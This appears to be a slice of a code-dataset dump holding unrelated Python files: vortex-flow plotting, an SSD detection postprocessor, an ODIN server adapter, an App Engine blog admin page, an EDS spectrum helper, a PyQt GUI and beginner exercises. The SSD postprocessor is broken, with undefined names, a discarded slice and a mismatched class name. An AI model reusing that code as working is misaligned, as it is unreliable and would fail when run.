delimiter=\",\")\n \n vort_OT_pos = np.genfromtxt(\"../Data/OT_Results/{:.0f}_{:.0f}_{:.0f}_{:.2f}_{:.2f}_pos.csv\"\n .format(AoA[0], AoA[1], AoA[2], w[0], w[1]), delimiter=\",\")\n \n vort_OT_neg = np.genfromtxt(\"../Data/OT_Results/{:.0f}_{:.0f}_{:.0f}_{:.2f}_{:.2f}_neg.csv\"\n .format(AoA[0], AoA[1], AoA[2], w[0], w[1]), delimiter=\",\")\n \n sums = np.genfromtxt(\"../Data/OT_Results/{:.0f}_{:.0f}_{:.0f}_{:.2f}_{:.2f}_sums.csv\"\n .format(AoA[0], AoA[1], AoA[2], w[0], w[1]), delimiter=\",\")\n \n vort_OT = vort_OT_pos*np.sum(w*sums[0])\\\n - vort_OT_neg*np.sum(w*sums[1])\n \n vort_OT_norm[i] = np.linalg.norm(abs(vort_OT-vort[1]), ord=order)\n \n # %% Calcualte Velocities\n mask_vort = abs(vort_OT) > vort_thr*np.max(abs(vort_OT))\n u_OT_vort, v_OT_vort = PC.u_omega(x, y, x[mask_vort], y[mask_vort],\n vort_OT[mask_vort], h=step)\n \n print('Creating & Solving Vortex Line')\n start_VL = time.time()\n x_arc, y_arc = PC.Gen_Arc_full_res(AoA[1])\n \n Arc = VL.VortexLine(x_arc, y_arc)\n \n exvelo_OT = lambda xl, yl: exvelo_base(xl, yl, u_OT_vort+1, v_OT_vort)\n \n gamma_OT = Arc.solve_gamma(exvelo_OT)\n \n u_OT_vl, v_OT_vl = Arc.velocity_ext(gamma_OT, x, y)\n \n \n u_OT_tot = u_OT_vort - u_OT_vl + 1\n v_OT_tot = v_OT_vort - v_OT_vl\n \n Mom_OT[i] = np.linalg.norm(PC.Momentum(vort_OT, u_OT_tot, v_OT_tot,\n dx, dy), ord=order)\n \n # %% Calculate Linear Interpolation\n \n vort_lin = (vort[0]*w[0] + vort[2]*w[1])\n vort_lin_norm[i] = np.linalg.norm(abs(vort_lin-vort[1]), ord=order)\n\n # %% Calculate Velocities\n \n mask_vort = abs(vort_lin) > vort_thr*np.mean(abs(vort_lin))\n u_lin_vort, v_lin_vort = PC.u_omega(x, y, x[mask_vort], y[mask_vort],\n vort_lin[mask_vort], h=step)\n \n exvelo_lin = lambda xl, yl: exvelo_base(xl, yl, u_lin_vort+1, v_lin_vort)\n gamma_lin = Arc.solve_gamma(exvelo_lin)\n u_lin_vl, v_lin_vl = Arc.velocity_ext(gamma_lin, x, y)\n \n u_lin_tot = u_lin_vort - u_lin_vl + 1\n v_lin_tot = v_lin_vort - v_lin_vl\n \n Mom_lin[i] = np.linalg.norm(PC.Momentum(vort_lin, u_lin_tot, v_lin_tot,\n dx, dy), ord=order)\n \n \n# %% PLOTS\n# %% Vorticity\nc_m = cm.RdBu_r\nylim = .1\nlevs = np.linspace(-ylim, ylim, 51)\nskip = 40\n\nplt.figure()\nplt.contourf(x, y, vort[1], cmap=c_m, extend='both', levels=levs)\nplt.colorbar()\nplt.xticks(())\nplt.yticks(())\nplt.axis('equal')\n\nplt.figure()\nplt.contourf(x, y, np.sqrt(u[1]**2 + v[1]**2), levels=np.linspace(0, 1.4), extend='max')\nplt.colorbar()\nplt.quiver(x[::skip, ::skip], y[::skip, ::skip],\n u[1][::skip, ::skip], v[1][::skip, ::skip])\nplt.xticks(())\nplt.yticks(())\nplt.axis('equal')\n\n\n# %% Arc Vortexline\nskip = 20\nyVL, xVL = np.mgrid[-200:200:1, -200:200:1]\nxVL = xVL.astype(float)\nyVL = yVL.astype(float)\nu_uni = np.ones_like(xVL, dtype=float)\nv_uni = np.zeros_like(xVL, dtype=float)\n\nx_arc, y_arc = PC.Gen_Arc(10)\n\nArc = VL.VortexLine(x_arc, y_arc)\n\nexvelo = lambda x, y: (np.ones_like(x, dtype=float), np.zeros_like(y, dtype=float))\n\ngamma = Arc.solve_gamma(exvelo)\nu_indu, v_indu = Arc.velocity(gamma, xVL, yVL)\n\nu_VL = 1 - u_indu\nv_VL = -v_indu\n\n\nplt.figure()\ncont_VL = plt.contourf(xVL, yVL, np.sqrt(u_VL**2 + v_VL**2),\n levels=np.linspace(0, 1.8, 19), extend='max')\nplt.colorbar()\nplt.quiver(xVL[::skip, ::skip], yVL[::skip, ::skip],\n u_VL[::skip, ::skip], v_VL[::skip, ::skip])\nplt.plot(x_arc, y_arc)\nplt.xticks(())\nplt.yticks(())\nplt.axis('equal')\n\n\nplt.figure()\nplt.contourf(xVL, yVL, np.sqrt(u_uni**2 + v_uni**2),\n levels=cont_VL.levels, extend='max')\nplt.colorbar()\nplt.quiver(xVL[::skip, ::skip], yVL[::skip, ::skip],\n u_uni[::skip, ::skip], v_uni[::skip, ::skip])\nplt.plot(x_arc, y_arc)\nplt.xticks(())\nplt.yticks(())\nplt.axis('equal')\n","sub_path":"Code/Plot_Thesis_Methodology.py","file_name":"Plot_Thesis_Methodology.py","file_ext":"py","file_size_in_byte":5787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"137152204","text":"import torch\nfrom torch import nn\nimport torch.nn.functional as F\nfrom torchvision.ops import nms\n\n\n# Original author: Francisco Massa:\n# https://github.com/fmassa/object-detection.torch\n# Ported to PyTorch by Max deGroot (02/01/2017)\ndef nms_topk(boxes, scores, overlap=0.5, top_k=200):\n \"\"\"Apply non-maximum suppression at test time to avoid detecting too many\n overlapping bounding boxes for a given object.\n Args:\n boxes: (tensor) The location preds for the img, Shape: [num_priors,4].\n scores: (tensor) The class predscores for the img, Shape:[num_priors].\n overlap: (float) The overlap thresh for suppressing unnecessary boxes.\n top_k: (int) The Maximum number of box preds to consider.\n Return:\n The indices of the kept boxes with respect to num_priors.\n \"\"\"\n keep = nms(boxes, scores, overlap)\n ids = torch.nonzero(keep).squeeze()\n keep = result_mask.nonzero().view(-1)\n keep = keep[scores[keep].argsort(descending=True)]\n keep[: min(keep.shape[0], top_k)]\n return keep\n\n\ndef decode(loc, priors, variances):\n \"\"\"Decode locations from predictions using priors to undo\n the encoding we did for offset regression at train time.\n Args:\n loc (tensor): location predictions for loc layers,\n Shape: [num_priors,4]\n priors (tensor): Prior boxes in center-offset form.\n Shape: [num_priors,4].\n variances: (list[float]) Variances of priorboxes\n Return:\n decoded bounding box predictions\n \"\"\"\n\n boxes = torch.cat((\n priors[:, :2] + loc[:, :2] * variances[0] * priors[:, 2:],\n priors[:, 2:] * torch.exp(loc[:, 2:] * variances[1])), 1)\n xy_min = boxes[:, :2] - boxes[:, 2:]/2\n xy_max = xy_min + boxes[:, 2:]\n return torch.cat([xy_min, xy_max], dim=1)\n\n\nclass Postprocessor(nn.Module):\n \"\"\"At test time, Detect is the final layer of SSD. Decode location preds,\n apply non-maximum suppression to location predictions based on conf\n scores and threshold to a top_k number of output predictions for both\n confidence score and locations.\n \"\"\"\n def __init__(self, num_classes, top_k, conf_thresh, nms_thresh):\n self.num_classes = num_classes\n self.background_label = 0\n self.top_k = top_k\n # Parameters used in nms.\n self.nms_thresh = nms_thresh\n if nms_thresh <= 0:\n raise ValueError('nms_threshold must be non negative.')\n self.conf_thresh = conf_thresh\n self.variance = cfg.VARIANCE\n\n def forward(self, loc_data, conf_data, prior_data):\n \"\"\"\n Args:\n loc_data: (tensor) Loc preds from loc layers\n Shape: [batch,num_priors*4]\n conf_data: (tensor) Shape: Conf preds from conf layers\n Shape: [batch*num_priors,num_classes]\n prior_data: (tensor) Prior boxes and variances from priorbox layers\n Shape: [1,num_priors,4]\n \"\"\"\n conf_data = F.softmax(conf_data, 2)\n num_priors = prior_data.size(0)\n\n conf_data = conf_data.view(-1, num_priors, self.num_classes).transpose(2, 1)\n prior_data = prior_data.view(-1, num_priors, 4).expand(conf_data.size(0), num_priors, 4)\n prior_data = batch_priors.contiguous().view(-1, 4)\n\n decoded_boxes = decode(loc_data.view(-1, 4), prior_data, self.variance)\n decoded_boxes = decoded_boxes.view(conf_data.size(0), -1, 4)\n \n output = []\n for localization, confidence in zip(decoded_boxes, conf_data):\n for class_idx in range(1, self.num_classes):\n confidence_per_class = confidence[class_idx]\n mask = torch.nonzero(confidence_per_class > self.conf_thresh).squeeze()\n scores = confidence_per_class[mask]\n if scores.size(0) == 0:\n continue\n\n boxes = localization[mask].reshape(-1, 4)\n ids = nms_topk(boxes, scores, self.nms_thresh, self.top_k)\n output.append(torch.cat([scores[ids].unsqueeze(1), box_[ids]], 1))\n \n return output\n\n\ndef make_anchor_postprocessor(config):\n box_selector = PostProcessor(\n config.NUM_CLASSES,\n config.TEST.DETECTIONS_PER_IMG,\n config.ANCHOR.INFERENCE_TH,\n config.NMS_TH)\n\n return box_selector","sub_path":"model/head/anchor/anchor_inference.py","file_name":"anchor_inference.py","file_ext":"py","file_size_in_byte":4334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"397739299","text":"\"\"\"Demo adapter for ODIN control workshop\n\nThis class implements a simple adapter used for demonstration purposes in a\n\nTim Nicholls, STFC Application Engineering\n\"\"\"\nimport logging\nimport tornado\nimport time\nfrom concurrent import futures\n\nfrom tornado.ioloop import IOLoop\nfrom tornado.concurrent import run_on_executor\nfrom tornado.escape import json_decode\n\nfrom odin.adapters.adapter import ApiAdapter, ApiAdapterResponse, request_types, response_types\nfrom odin.adapters.parameter_tree import ParameterTree, ParameterTreeError\nfrom odin._version import get_versions\n\n\nclass WorkshopAdapter(ApiAdapter):\n \"\"\"System info adapter class for the ODIN server.\n\n This adapter provides ODIN clients with information about the server and the system that it is\n running on.\n \"\"\"\n\n def __init__(self, **kwargs):\n \"\"\"Initialize the WorkshopAdapter object.\n\n This constructor initializes the WorkshopAdapter object.\n\n :param kwargs: keyword arguments specifying options\n \"\"\"\n # Intialise superclass\n super(WorkshopAdapter, self).__init__(**kwargs)\n\n # Parse options\n background_task_enable = bool(self.options.get('background_task_enable', False))\n background_task_interval = float(self.options.get('background_task_interval', 1.0))\n \n self.workshop = Workshop(background_task_enable, background_task_interval)\n\n logging.debug('WorkshopAdapter loaded')\n\n @response_types('application/json', default='application/json')\n def get(self, path, request):\n \"\"\"Handle an HTTP GET request.\n\n This method handles an HTTP GET request, returning a JSON response.\n\n :param path: URI path of request\n :param request: HTTP request object\n :return: an ApiAdapterResponse object containing the appropriate response\n \"\"\"\n try:\n response = self.workshop.get(path)\n status_code = 200\n except ParameterTreeError as e:\n response = {'error': str(e)}\n status_code = 400\n\n content_type = 'application/json'\n\n return ApiAdapterResponse(response, content_type=content_type,\n status_code=status_code)\n\n @request_types('application/json')\n @response_types('application/json', default='application/json')\n def put(self, path, request):\n \"\"\"Handle an HTTP PUT request.\n\n This method handles an HTTP PUT request, returning a JSON response.\n\n :param path: URI path of request\n :param request: HTTP request object\n :return: an ApiAdapterResponse object containing the appropriate response\n \"\"\"\n\n content_type = 'application/json'\n\n try:\n data = json_decode(request.body)\n self.workshop.set(path, data)\n response = self.workshop.get(path)\n status_code = 200\n except WorkshopError as e:\n response = {'error': str(e)}\n status_code = 400\n except (TypeError, ValueError) as e:\n response = {'error': 'Failed to decode PUT request body: {}'.format(str(e))}\n status_code = 400\n\n logging.debug(response)\n\n return ApiAdapterResponse(response, content_type=content_type,\n status_code=status_code)\n\n def delete(self, path, request):\n \"\"\"Handle an HTTP DELETE request.\n\n This method handles an HTTP DELETE request, returning a JSON response.\n\n :param path: URI path of request\n :param request: HTTP request object\n :return: an ApiAdapterResponse object containing the appropriate response\n \"\"\"\n response = 'WorkshopAdapter: DELETE on path {}'.format(path)\n status_code = 200\n\n logging.debug(response)\n\n return ApiAdapterResponse(response, status_code=status_code)\n\n\nclass WorkshopError(Exception):\n \"\"\"Simple exception class for PSCUData to wrap lower-level exceptions.\"\"\"\n\n pass\n\n\nclass Workshop():\n \"\"\"Workshop - class that extracts and stores information about system-level parameters.\"\"\"\n\n # Thread executor used for background tasks\n executor = futures.ThreadPoolExecutor(max_workers=1)\n\n def __init__(self, background_task_enable, background_task_interval):\n \"\"\"Initialise the Workshop object.\n\n This constructor initlialises the Workshop object, building a parameter tree and\n launching a background task if enabled\n \"\"\"\n # Save arguments\n self.background_task_enable = background_task_enable\n self.background_task_interval = background_task_interval\n\n # Store initialisation time\n self.init_time = time.time()\n\n # Get package version information\n version_info = get_versions()\n\n # Build a parameter tree for the background task\n bg_task = ParameterTree({\n 'count': (lambda: self.background_task_counter, None),\n 'enable': (lambda: self.background_task_enable, self.set_task_enable),\n 'interval': (lambda: self.background_task_interval, self.set_task_interval),\n })\n\n # Store all information in a parameter tree\n self.param_tree = ParameterTree({\n 'odin_version': version_info['version'],\n 'tornado_version': tornado.version,\n 'server_uptime': (self.get_server_uptime, None),\n 'background_task': bg_task \n })\n\n # Set the background task counter to zero\n self.background_task_counter = 0\n\n # Launch the background task if enabled in options\n if self.background_task_enable:\n logging.debug(\n \"Launching background task with interval %.2f secs\", background_task_interval\n )\n self.background_task()\n\n def get_server_uptime(self):\n \"\"\"Get the uptime for the ODIN server.\n\n This method returns the current uptime for the ODIN server.\n \"\"\"\n return time.time() - self.init_time\n\n def get(self, path):\n \"\"\"Get the parameter tree.\n\n This method returns the parameter tree for use by clients via the Workshop adapter.\n\n :param path: path to retrieve from tree\n \"\"\"\n return self.param_tree.get(path)\n\n def set(self, path, data):\n \"\"\"Set parameters in the parameter tree.\n\n This method simply wraps underlying ParameterTree method so that an exceptions can be\n re-raised with an appropriate WorkshopError.\n\n :param path: path of parameter tree to set values for\n :param data: dictionary of new data values to set in the parameter tree\n \"\"\"\n try:\n self.param_tree.set(path, data)\n except ParameterTreeError as e:\n raise WorkshopError(e)\n\n def set_task_interval(self, interval):\n\n logging.debug(\"Setting background task interval to %f\", interval)\n self.background_task_interval = float(interval)\n \n def set_task_enable(self, enable):\n\n logging.debug(\"Setting background task enable to %s\", enable)\n\n current_enable = self.background_task_enable\n self.background_task_enable = bool(enable)\n\n if not current_enable:\n logging.debug(\"Restarting background task\")\n self.background_task()\n\n\n @run_on_executor\n def background_task(self):\n \"\"\"Run the adapter background task.\n\n This simply increments the background counter and sleeps for the specified interval,\n before adding itself as a callback to the IOLoop instance to be called again.\n\n \"\"\"\n if self.background_task_counter < 10 or self.background_task_counter % 20 == 0:\n logging.debug(\"Background task running, count = %d\", self.background_task_counter)\n\n self.background_task_counter += 1\n time.sleep(self.background_task_interval)\n\n if self.background_task_enable:\n IOLoop.instance().add_callback(self.background_task)\n else:\n logging.debug(\"Background task no longer enabled, stopping\")","sub_path":"python/workshop/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":8037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"334969416","text":"# -*- coding: utf-8 -*-\r\n\r\nimport cgi\r\nimport os\r\nfrom util import Category, Article, delete_tag, delete_archive\r\nfrom google.appengine.api import users\r\nfrom google.appengine.ext import webapp\r\nfrom google.appengine.ext.webapp import template\r\nfrom google.appengine.ext.webapp.util import run_wsgi_app\r\n\r\nclass ArticlesAdmin(webapp.RequestHandler):\r\n\tmsg_per_page = 20\r\n\r\n\tdef get(self):\r\n\t\ttry:\r\n\t\t\tpageno = int(self.request.get('pageno'))\r\n\t\texcept ValueError:\r\n\t\t\tpageno = 1\r\n\r\n\t\tquery = Article.all().order('-time_stamp')\r\n\t\tgroup = query.fetch(1000)\r\n\r\n\t\tarticle_list = []\r\n\t\tpagei = 0\r\n\t\tstart = 0\r\n\t\tlength = len(group)\r\n\r\n\t\twhile group != [] and article_list == []:\r\n\t\t\t# Pick out each page\r\n\t\t\twhile start + self.msg_per_page - 1 < length:\r\n\t\t\t\tpagei = pagei + 1\r\n\t\t\t\tif pagei == pageno:\r\n\t\t\t\t\tarticle_list = group[start : start + self.msg_per_page]\r\n\t\t\t\tstart = start + self.msg_per_page\r\n\t\t\tif len(group[start : start + self.msg_per_page]) > 0:\r\n\t\t\t\tpagei = pagei + 1\r\n\t\t\t\tif pagei == pageno:\r\n\t\t\t\t\tarticle_list = group[start : start + self.msg_per_page]\r\n\r\n\t\t\tlast_time = group[-1].time_stamp\r\n\t\t\tquery.filter('time_stamp <', last_time)\r\n\t\t\tgroup = query.fetch(1000)\r\n\r\n\t\tshow_left_arrow = 1 if pageno > 1 else 0\r\n\t\tshow_right_arrow = 1 if pageno < pagei else 0\r\n\t\tshow_left_dot = 1 if pageno >= 5 else 0\r\n\t\tshow_right_dot = 1 if pageno <= pagei - 4 else 0\r\n\r\n\t\tpageno_list = [i for i in range(max(1, pageno - 3), min(pagei + 1, pageno + 4))]\r\n\r\n\t\ttemplate_values = {\r\n\t\t\t'articles': article_list,\r\n\t\t\t'page_current': pageno,\r\n\t\t\t'page_total': pagei,\r\n\t\t\t'pageno_list': pageno_list,\r\n\t\t\t'show_left_arrow': show_left_arrow,\r\n\t\t\t'show_right_arrow': show_right_arrow,\r\n\t\t\t'show_left_dot': show_left_dot,\r\n\t\t\t'show_right_dot': show_right_dot,\r\n\t\t\t'colno': len(pageno_list) + show_left_arrow + show_right_arrow + \r\n\t\t\t show_left_dot + show_right_dot,\r\n\t\t\t'page_prev': max(1, pageno - 1),\r\n\t\t\t'page_next': min(pagei, pageno + 1),\r\n\r\n\t\t\t'logout_url': users.create_logout_url('/'),\r\n\t\t\t'page_name': 'articlesAdmin'\r\n\t\t}\r\n\r\n\t\tpath = os.path.join(os.path.dirname(__file__), 'pages/articlesAdmin.html')\r\n\t\tself.response.headers['Content-Type'] = 'text/html;charset=utf-8'\r\n\t\tself.response.out.write(template.render(path, template_values))\r\n\r\n\tdef post(self):\r\n\t\tmethod = self.request.get('method')\r\n\t\tpageno = self.request.get('articleCurrentPage')\r\n\t\tif method == 'delete':\r\n\t\t\tid_list = self.request.get('articleId').split('$')\r\n\r\n\t\t\tfor id in id_list:\r\n\t\t\t\tvictim = Article.all().filter('id =', id).get()\r\n\t\t\t\tif victim.has_category:\r\n\t\t\t\t\tvictim.category.count = victim.category.count - 1\r\n\t\t\t\t\tvictim.category.put()\r\n\r\n\t\t\t\tfor tag in victim.tags():\r\n\t\t\t\t\tdelete_tag(victim, tag)\r\n\r\n\t\t\t\tfor cmt in victim.comments:\r\n\t\t\t\t\tcmt.delete()\r\n\r\n\t\t\t\tdelete_archive(victim.archive)\r\n\r\n\t\t\t\tif victim.link_prev != '':\r\n\t\t\t\t\tprev_article = Article.all().filter('permalink =', victim.link_prev).get()\r\n\t\t\t\t\tprev_article.link_next = victim.link_next\r\n\t\t\t\t\tprev_article.year_next = victim.year_next\r\n\t\t\t\t\tprev_article.month_next = victim.month_next\r\n\t\t\t\t\tprev_article.day_next = victim.day_next\r\n\t\t\t\t\tprev_article.title_next = victim.title_next\r\n\t\t\t\t\tprev_article.put()\r\n\r\n\t\t\t\tif victim.link_next != '':\r\n\t\t\t\t\tnext_article = Article.all().filter('permalink =', victim.link_next).get()\r\n\t\t\t\t\tnext_article.link_prev = victim.link_prev\r\n\t\t\t\t\tnext_article.year_prev = victim.year_prev\r\n\t\t\t\t\tnext_article.month_prev = victim.month_prev\r\n\t\t\t\t\tnext_article.day_prev = victim.day_prev\r\n\t\t\t\t\tnext_article.title_prev = victim.title_prev\r\n\t\t\t\t\tnext_article.put()\r\n\r\n\t\t\t\tvictim.delete()\r\n\r\n\t\t\tself.redirect('/atf-articles?pageno=' + pageno)\r\n\t\telse:\r\n\t\t\tself.redirect('/atf-writenew?id=' + self.request.get('articleId'))\r\n\t\t\t\r\n\r\napplication = webapp.WSGIApplication([(r'/atf-articles', ArticlesAdmin)],\r\n\t\t\t\t\t\t\t\t\t debug = True)\r\nwebapp.template.register_template_library('timezone-filter')\r\nwebapp.template.register_template_library('tags-filter')\r\n\r\ndef main():\r\n\trun_wsgi_app(application)\r\n\r\nif __name__ == \"__main__\":\r\n\tmain()\r\n\r\n","sub_path":"articlesAdmin.py","file_name":"articlesAdmin.py","file_ext":"py","file_size_in_byte":4037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"145201644","text":"import hyperspy.api as hs\r\nimport numpy as np\r\n\r\nclass cpsWizard:\r\n def averageCPS(spectrum):\r\n '''\r\n this method will returns average CPS(Count Per Second) during EDS analysis\r\n @spectrum : directory of spectrum\r\n '''\r\n loadedSpectrum = hs.load(spectrum)\r\n measure_time = loadedSpectrum.original_metadata.spc_header.liveTime\r\n total_dataPoints = loadedSpectrum.original_metadata.spc_header.numPts\r\n iteration = np.arange(0, (total_dataPoints - 1))\r\n\r\n total_xrayCount = 0\r\n for i in iteration:\r\n total_xrayCount = total_xrayCount + loadedSpectrum.data[i]\r\n cps_val = total_xrayCount / measure_time\r\n print(cps_val, total_xrayCount, measure_time)\r\n return cps_val\r\n\r\n def rangeCPS(spectrum, min, max):\r\n '''\r\n this method will returns average CPS of selected region\r\n @min : lower boundary of energy level\r\n @max : upper boundary of energy level\r\n @spectrum : directory of spectrum\r\n '''\r\n s = hs.load(spectrum)\r\n iteration = np.arange(min, max)\r\n measure_time = s.original_metadata.spc_header.liveTime\r\n total_xrayCount = 0\r\n for i in iteration:\r\n total_xrayCount = total_xrayCount + s.data[i]\r\n print(s.data[i])\r\n cps_inRegion = total_xrayCount / measure_time\r\n return cps_inRegion\r\n \r\n def totalCount(spectrum):\r\n '''\r\n this method will return sum of all recorded x-ray photon count.\r\n @spectrum : directory of spectrum\r\n '''\r\n s = hs.load(spectrum)\r\n \r\n total_dataPoints = s.original_metadata.spc_header.numPts\r\n iteration = np.arange(0, (total_dataPoints - 1))\r\n\r\n total_xrayCount = 0\r\n for i in iteration:\r\n total_xrayCount = total_xrayCount + s.data[i]\r\n return total_xrayCount\r\n","sub_path":"EDS/cpsWizard.py","file_name":"cpsWizard.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"643911886","text":"import tkinter as tk\nimport random\nfrom PIL import Image, ImageTk\nimport numpy as np\n\nfrom PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QCheckBox\n\nfrom qtwidgets import QImageViewer, QCustomSlider\n\n\nfrom .. import video\nfrom ..images import gray_to_bgr\nfrom .geometric import *\n\nimport sys\n\n\n__all__ = [\n \"ParamGui\",\n]\n\n\nclass ParamGui:\n\n def __init__(self, source):\n # self.show_original = show_original\n self.parse_source(source)\n self.init_ui()\n\n def parse_source(self, source):\n assert isinstance(source, video.ReadVideo) or isinstance(source, list) or isinstance(source, np.ndarray), \\\n \"source must be a ReadVideo, list or numpy array instance\"\n if isinstance(source, np.ndarray):\n self.im = source\n self.type = 'im'\n\n if isinstance(source, video.ReadVideo):\n self.vid = source\n self.frame_no = 0\n self.num_frames = self.vid.num_frames\n self.im = self.vid.find_frame(self.frame_no)\n self.type = 'vid'\n\n if isinstance(source, list):\n self.ims = source\n self.im = self.ims[0]\n self.frame_no = 0\n self.num_frames = len(self.ims)\n self.type = 'list'\n\n self.im0 = self.im.copy()\n\n def init_ui(self):\n self.app = QApplication(sys.argv)\n self.window = QWidget()\n self.image_viewer = QImageViewer()\n self.image_viewer.setImage(self.im)\n self.vbox = QVBoxLayout()\n self.vbox.addWidget(self.image_viewer)\n\n self.live_update_checkbox = QCheckBox('Live Update', parent=self.window)\n self.vbox.addWidget(self.live_update_checkbox)\n\n self.add_sliders()\n self.live_update_checkbox.stateChanged.connect(self._update_sliders)\n self.window.setLayout(self.vbox)\n self.window.show()\n self.app.exec_()\n\n def add_sliders(self):\n\n self.sliders = {}\n\n if self.type in ['list', 'vid']:\n self.frame_slider = QCustomSlider(\n self.window, title='frame', min_=0, max_=self.num_frames-1, spinbox=True)\n self.frame_slider.valueChanged.connect(self.frame_slider_update)\n self.vbox.addWidget(self.frame_slider)\n\n for key in sorted(self.param_dict.keys()):\n params = self.param_dict[key]\n val, bottom, top, step = params\n slider = QCustomSlider(\n parent=self.window, title=key, min_=bottom, max_=top, value_=val,\n step_=step, spinbox=True)\n slider.valueChanged.connect(self.slider_callback)\n self.vbox.addWidget(slider)\n self.sliders[key] = slider\n\n def slider_callback(self, val):\n for key in self.param_dict:\n val = self.sliders[key].value()\n if self.live_update_checkbox.isChecked():\n self._update_sliders()\n\n def _update_sliders(self):\n if self.type in ['list', 'vid']:\n self.frame_no = self.frame_slider.value()\n if self.type == 'list':\n self.im0 = self.ims[self.frame_no]\n else:\n self.im0 = self.read_vid.find_frame(self.frame_no)\n\n for key in self.param_dict:\n val = self.sliders[key].value()\n self.param_dict[key][0] = val\n self.update()\n self.update_im()\n\n def frame_slider_update(self, value):\n if self.type == 'list':\n print('get')\n self.im = self.ims[value]\n else:\n self.im = self.vid.find_frame(value)\n\n def _display_img(self, *ims):\n if len(ims) == 1:\n self.im = ims[0]\n else:\n ims = list(ims)\n for i in range(len(ims)):\n if len(ims[i].shape) == 2:\n ims[i] = gray_to_bgr(ims[i])\n self.im = hstack(*ims)\n\n def update_im(self):\n self.image_viewer.setImage(self.im)\n\n\ndef odd(a):\n assert type(a) == int, 'Only ints can be odd'\n return a % 2 == 1\n\ndef even(a):\n assert type(a) == int, 'Only ints can be even'\n return a % 2 == 0","sub_path":"labvision/images/gui_base.py","file_name":"gui_base.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"497346634","text":"\"\"\"\nMy First Python Script\n\n\nprint(\"Hey\")\nbuffer = 'Saichand Palusa! How are you today? Yo I\\'m doing great'\nprint(buffer)\n# this is for Comment\n\n\"\"\"\n\nlong_string = \"\"\" here's an example of a very \\\n long string..would you believe it? \n\"\"\"\nanother_long_string = ''' Whats up! Having a good day so far?\n\"\"\" '''\n\n'''\nprint(long_string)\nprint(\"-------------------------\")\nprint(another_long_string)\nprint(len(long_string))\n\nstring1 = \"sai\"\nstring2 = \"chand\"\nprint(string1+string2)\nprint(\"----\")\nprint(string1,string2)\nstring3 = \"bazinga\"\nprint(string3[2:6])\n\nresponse = input(\"Who are you?\")\nprint(\"you said \" + response.upper())\n\n'''\n\n''' Chapter 4 '''\n'''\nmy_number = 12\nprint(my_number+my_number)\nmy_number = '12'\nprint(my_number+my_number)\nprint(int(my_number)+float(my_number))\nprint(str(1)+\"1\")\n'''\n\n'''\n# review exercises:\nmy_string_obj = '12'\nprint(int(my_string_obj))\nprint(float(my_string_obj))\nmy_integer_obj = 14\nprint(my_string_obj+str(my_integer_obj))\n'''\n\n#name=\"Sai\"\n#num_heads=2\n#num_arms=4\n#print(\"{} has {} heads and {} arms\".format(name,num_heads,num_arms))\n#print(\"{1} has {2} heads and {0} arms\".format(num_arms,name,num_heads))\n#print(\"{name} has {num_heads} heads and {num_arms} arms\".format(name=\"sai\",num_heads=2,num_arms=3))\n\n'''\n# review exercises:\n#weight = 0.2\n#animal = 'newt'\n#print(weight,\"is the weight of the\",animal)\n#print(\"{} is the weight of the {}\".format(weight,animal))\n#print(\"{0} is the weight of the {1}\".format(weight,animal))\n#print(\"{weight} is the weight of the {animal}\".format(weight = 0.2,animal=\"newt\"))\n'''\n\n'''\n#review exercises:\nprint(\"AAA\".find('a'))\nmy_string_obj = \"version 2.0\"\nmy_float_object = 2.0\nprint(my_string_obj.find(str(my_float_object)))\nmy_user_input = input(\"Enter a string \")\nmy_letter_input = input(\"Enter a letter to find the above string \")\nprint(my_user_input.find(my_letter_input))\n'''\n\n'''chapter 5'''\n'''\n# review exercises:\ndef cube(base):\n result = base ** 3\n return result\n\nprint(cube(3))\nprint(cube(4))\n\ndef multilply(num1,num2):\n result = num1 * num2\n return result\n\nmultiplied_result = multilply(2, 5)\nprint(multiplied_result)\n\n\nfor i in range(2,11):\n print(i)\n\ni = 2\nwhile(i<11):\n print(i)\n i=i+1\n \n \ndef doubles(input_number):\n result = input_number\n for i in range(1,4):\n result = result * 2\n print(result)\n\ndoubles(2)\n'''\n\n#print(123 == \"123\")\n'''\nuser_input = input(\"enter a word: \")\nif len(user_input) < 5:\n print(\"length < 5\")\nelif len(user_input) > 5:\n print(\"Len > 5\")\nelse:\n print(\"len == 5\")\n'''\n'''\nwhile True:\n input_text = input(\"Enter something: \")\n if input_text == 'q' or input_text == 'Q':\n break\nprint(\"You've exited the infinte loop\")\n\nfor i in range(1,51):\n if(i%3 == 0):\n continue\n else:\n print(i)\n'''\n'''\ninput_integer = input(\"Enter an integer: \")\ntry:\n input_integer = int(input_integer)\n print(input_integer)\nexcept ValueError:\n print(\"You did not enter an integer\")\n'''\n'''\nfrom random import randint\nprint(randint(1,6))\n\navg = 0\nfor i in range(0,10000):\n avg += randint(1,6)\n \nresult = avg/10000\nprint(int(result))\n'''\n\n#chapter 08 - review exercises\n'''\ndesserts = [\"ice cream\", \"cookies\"]\ndesserts.sort()\nprint(desserts)\nfood = []\nfood = desserts[:]\nfood.extend([\"broccoli\",\"turnips\"])\nprint()\nprint(desserts)\nprint(food)\nprint()\nfood.remove(\"cookies\")\nprint(food[0:2])\nlist_string = \"cookies, cookies, cookies\"\nbreakfast = list_string.split(\", \")\nprint()\nprint(breakfast)\n\ndef num_between_1_and_20(input_list):\n for i in input_list[:]:\n if(i>=1 and i<=20):\n print(i)\n\nnum_between_1_and_20([2,4,8,16,32,64])\n'''\n# tuples\n'''\ncardinal_nums = (\"first\",\"second\",\"third\")\nprint(cardinal_nums[1])\npos1, pos2, pos3 = cardinal_nums\nprint(pos1)\nprint(pos2)\nprint(pos3)\n'''\n#dictionaries\n'''\n#birthdays = {'Luke Skywalker':'5/24/19','Obi-Wan Kenobi':'3/11/57','Darth Vader':'4/1/41'}\nbirthdays = dict([('Luke Skywalker','5/24/19'),('Obi-Wan Kenobi','3/11/57'),('Darth Vader','4/1/41')])\n\nif 